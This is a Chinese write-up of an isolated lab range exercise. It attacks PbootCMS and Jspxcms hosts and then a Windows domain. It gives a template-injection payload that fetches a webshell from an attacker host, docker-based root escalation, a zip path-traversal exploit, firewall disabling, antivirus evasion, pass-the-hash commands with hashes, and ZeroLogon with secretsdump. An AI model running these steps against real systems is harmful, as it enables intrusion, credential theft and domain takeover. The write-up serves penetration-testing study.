暗月靶场-项目八

前言

  这套靶场打下来,难度适中,中间折腾了不少。靶场cms对应的漏洞比较少,又学了一种新的域渗透姿势。

网络拓扑图

信息搜集

  nmap扫描192.168.0.129的信息

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Pure-FTPd
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd
888/tcp  open  http    Apache httpd
3306/tcp open  mysql   MySQL (unauthorized)
8888/tcp open  http    Ajenti http control panel

  网站首页,探测一波是PbootCMS V2.0.8,这个版本的漏洞只有一个就是在后台
  
  8888是宝塔,而888无权限访问
  
  目录扫描到config.tar.gzconfig/database.php~admin.php,查看config/database.php~
  
  获取到数据库路径为/data/c6613b090db86e60916afb3af6f923d2.db。下载到本机后,使用navicat打开,在ay_user表里获取到用户名为:admin 解密后的密码为:admin7788
  

getshell

  登录后台
  

  在公司信息插入下面payload

{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['3','.php']), implode('',['<?php file_','put_','contents(','"shell.php",','file','_get_','contents("','http://192.168.0.130/2.txt"))?>'])))}!!!{/pboot:if}

  
  再次访问网站首页,将会在网站根目录生成3.php 其中内容为<?php file_put_contents("shell.php",file_get_contents("http://192.168.0.130/2.txt"))?>
  
  访问3.php,会下载webshell,并将内容保存为shell.php
  
  如果访问3.php出现file_get_contents(): failed to open stream: HTTP request failed!解决 PHP file_get_contents()报错,修改user_agent即可解决
  本来想用哥斯拉去连接的,不知道为什么连接不上。但蚁剑没有任何问题
  

提权

  来到/home/cf1/ 发现id_rsa
  
  将内容复制到kali上,赋予权限chmod 600 id_rsa,使用密钥登录ssh cf1@192.168.0.129 -i id_rsa
  
  groups,里面有docker可以利用docker进行提权
  
  docker run -v /etc:/mnt -it alpine,启动alpine容器,并且将/etc 挂载到/mnt目录。意思是在容器里的/mnt目录就是宿主机的/etc目录,一定要先cd /mnt/
  
  回到kali上,先创建一个用户名为hacker 密码为123456的用户

useradd -p`openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/test

  获取hacker账号的信息cat /etc/passwd | awk 'END {print}'cat /etc/shadow | awk 'END {print}'
  
  来到docker将对应的信息写入
  
  exit,退出容器,输入密码123456
  
  上线到msf,主机发现192.168.0.128
  
  nmap进行详细探测
  

Jspxcms

  访问8080端口,在首页底部得到jspxcms和后台
  
  使用admin 123456 弱口令成功登录
  
  
  Jspxcms v9.5.1,搜到一篇利用文章,文件解压引发的Getshell

import zipfile 

if __name__ == "__main__": 
    try:
        binary = b'<script>alert("helloworld")</script>'
        zipFile = zipfile.ZipFile("test5.zip", "a", zipfile.ZIP_DEFLATED) 
        info = zipfile.ZipInfo("test5.zip")
        zipFile.writestr("../../../safedog.html", binary)
        zipFile.close()
    except IOError as e: 
        raise e 

  先运行上面的python代码,得到一个test5.zip。准备一个jsp木马,运行jar cvf shell.war 1.jsp,生成shell.war
  
  这里是非常重要的一步,要使用2345好压打开,winrar还不行,将shell.war拖进压缩包
  
  文件管理->上传文件,点击上传文件,上传test5.zip后点击zip解压。
  
  文件被解压到根目录
  
  
  webshell地址http://192.168.0.128:8080/shell/1.jsp,哥斯拉成功连接
  
  有360和Windows Defender,这是一种非常特别的情况。因为如果有其他杀软的存在,Windows Defender会自动关闭。
  
  netsh advfirewall show allprofiles 查看防火墙状态,netsh advfirewall set allprofiles state off 关闭防火墙
  
  这一步就要搞免杀上线了,可以用哥斯拉自带的shellcodeLoader直接上线msf。无视杀软,屌的一批。唯一的缺点就是不稳定,session有时候会断开
  

横向渗透

  ip地址192.168.0.128 ,10.10.1.129
  
  扫到10.10.1.128
  
  只开放了445端口
  
  直接dir \\10.10.1.128\c$,能执行
  
  可以尝试jump psexec64 10.10.1.128 smb,能成功上线,这是最后一次解释这次含义,创建一个smb的监听器名称为smb。这种上线方法必须要知道对方的administrator账号密码
  
  第二种,先hashdump,获取administrator的hash。
  
  使用impacket中的smbexec.py进行hash传递攻击。不知道为什么cs那边没法直接psexec

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387 administrator@10.10.1.128

  
  这里一样有防火墙,先关闭掉netsh advfirewall set allprofiles state off,存在杀软windows defender。
  
  我们考虑一个场景假设10.10.1.128只有360,而你只会免杀360,而10.10.1.129刚刚的web服务器,用哥斯拉上线的那台有windows defender。你的马子无法过windows defender
  众所周知,要想将木马传到10.10.1.128。最方便的就是copy shell.exe \\10.10.1.128\c$。你将马子上传到10.10.1.129,刚刚上传上去就被windows defender杀了。这怎么办了。其实很简单使用压缩包传输木马,传过去后,解压就行。
  安装winrar,要使用里面的UnRAR.exe。这个只能解压rar,所以将木马压缩为rar格式
  
  将shell.rarUnRAR.exe上传到web服务器上,成功copy过去,绕过杀软
  
  解压c:\UnRAR.exe x c:\shell.rar c:\ 将shell.rar里面的文件解压到c:
  
  执行上线
  
  nslookup -type=SRV _ldap._tcp找dc,存在域fbi.org,DC IP:10.10.10.139,dc主机名:dc
  

CVE-2020-1472

   CVE-2020-1472补丁为kb4571719,没有打补丁
  
   proxychains python3 set_empty_pw.py dc 10.10.10.139,将dc密码打空
  
   使用impacket/examples/secretsdump.py

proxychanis python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'fbi/dc$@10.10.10.139'

  dump域控上的hash
  
  还是用smbexec

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3 administrator@10.10.10.139

  
  打靶结束,终于可以休息一下了

查看评论 -
评论